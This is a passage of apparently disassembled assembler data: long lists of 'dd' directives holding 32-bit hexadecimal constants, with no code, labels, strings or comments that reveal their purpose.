0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh, 4194D57Dh dd 96D5475Eh, 8CB5EE07h dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah, 21CF0E2h dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h, 0CF2F460Bh dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch, 0A07605A8h dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h, 0D7EB8273h dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh, 0C958EA35h dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch, 1DC276BEh dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h, 0A470FBCAh dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h, 0BBD25C61h dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h, 0F96A8060h dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h, 61916453h dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h, 68FD28FDh dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h, 176E79ECh dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh, 0C27ECA75h dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h, 0E5CE5535h dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h, 1CF66FA9h dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh, 56C22B52h dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h, 3D5DD9h dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h, 0F27F970h dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh, 5F61ABDEh dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh, 6DA75204h dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh, 7214E212h dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch, 392FDE6Eh dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h, 151CF165h dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h, 0DA848B74h dd 3C9276D3h, 6D37CB9h, 2AFDE550h, 36D7B1E5h, 0A0B9E52Dh dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h, 1BFBB86Dh dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h, 9CF9081Ch dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h, 1BFFFFC7h dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h, 3631629Bh dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h, 0B6D568B6h dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch, 74AA1D5Dh dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h, 0EEFBA097h dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h, 89DCC415h dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h, 0FFDAD3h dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h, 29668FE5h dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h, 852F7A0Dh dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh, 0F866A565h dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h, 0C62BB7A1h dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh, 9BC252AFh dd 8B86FCC2h, 8755166h dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h, 0CEB09714h dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h, 447E7BB7h dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h, 42ACB48h dd 0B76A95h, 64BDA072h, 9DD35DEDh, 1614D019h, 0EF296EA5h dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h, 67CDB88Dh dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h, 89AC8E8Ah dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh dd 21D94001h, 96B3AD7h, 4DD5A64Fh, 0D567F011h, 2181F4A8h dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h dd 0C9E7111h, 1C946DDh, 7934096Dh, 0CE18603Fh, 0B7D3E14Bh dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h, 539BD830h dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah, 783DE32Ch dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh dd 89B043Ah, 0A9083F9h, 0F62DFB3Ah, 2DC33E81h, 0F19D528h dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h, 0E71AB0C8h dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h, 359AF28Ch dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh, 8C93CADEh dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h, 0D19C9AC9h dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h dd 0ABE81A0h, 9487E03h, 28C5400Dh, 0D3D8631Eh, 813FB1A0h dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h dd 440C91Bh, 8E3DF2EBh, 2A2AA6A3h, 3F8CB9C3h, 0C058967h dd 39FCA5F2h, 73450DDh, 0AA216AB5h, 140E8A7Ch, 6DDAE004h dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh, 33D649B9h dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh, 0EC20D987h dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h, 0FBD23A19h dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h, 0DC568738h dd 8BF65F81h, 4FE3AFEh, 7B7126F1h, 2CFAAB3Ch, 0A9D8F041h dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh, 0F55705DDh dd 781D82Ah, 27D58967h, 8C47FBBAh, 0E034ED5Dh, 0E34FEA47h dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h, 0C5590FA7h dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h, 7304DD0Fh dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h, 34C9B828h dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h, 0CEEBC74Fh dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h, 0A5E0E4BBh dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch, 44A05ED6h dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h dd 79B09B5Fh, 96795A9h, 0C6B65AFAh, 0B37B2BEEh, 0BF662DE6h dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh dd 45148196h, 39B05CEh, 6D2E4517h, 0EEB60BC5h, 26F73682h dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch, 3D658F1Eh dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh, 0BD71BEFAh dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h, 99FFEAA1h dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh, 6AE37D32h dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h, 5F58E3Ah dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h, 0F417201Ch dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h, 5DA19E0h dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh dd 97E71300h, 6688A54Fh dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h, 8A988AB3h dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h, 0E55FB898h dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h, 282BE400h dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h, 6933A45Bh dd 5F48D97Eh, 96BD682h, 0D2FD64Ah, 16F11365h, 7F733092h dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h, 0CD5852A1h dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h, 221A27C2h dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h, 0A976B7D8h dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h, 0FD6C7B1Ch dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh, 3D4500EFh dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh, 9E7A20EFh dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch, 0DE854992h dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh, 71A855C4h dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h, 0DF9DEF5Eh dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h, 2FEA5496h dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh, 0CD5D5279h dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah, 8B5E8686h dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh, 820C793Fh dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h, 254E8146h dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh, 3C52FCB1h dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh, 0B28CF569h dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h, 0F73953D2h dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h, 0ED14EE4Ah dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh, 0CD5B21Eh dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h, 92DDE65Fh dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh, 0AB69D028h dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h, 6BFA2E74h dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh, 0E8558D2Dh dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah, 0DABF4DC8h dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah, 65FF967Fh dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h, 17FEAB84h dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h dd 0DF4FAB5h, 8D924D3h, 135033EBh, 15D77893h, 89A033FEh dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h, 0A906CE6h dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah dd 834C2C60h, 52FFC43h, 1E98AB59h, 9959ED59h, 0FB0ABD2Dh dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h, 4425A545h dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh, 0B134BCACh dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h, 7152783Dh dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh, 795D0C32h dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h, 0CB22D362h dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh, 0F3258B55h dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh, 1BCA7E30h dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h, 0B351D07Bh dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h, 0ED3B42F2h dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh, 26AF0589h dd 4DE0EC55h, 0BDFE46DBh dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h, 3EB18CBBh dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh, 9FA3236Bh dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h, 0BF9498B8h dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh, 3081FAC0h dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch, 8E5A358Fh dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h dd 4928D39Eh, 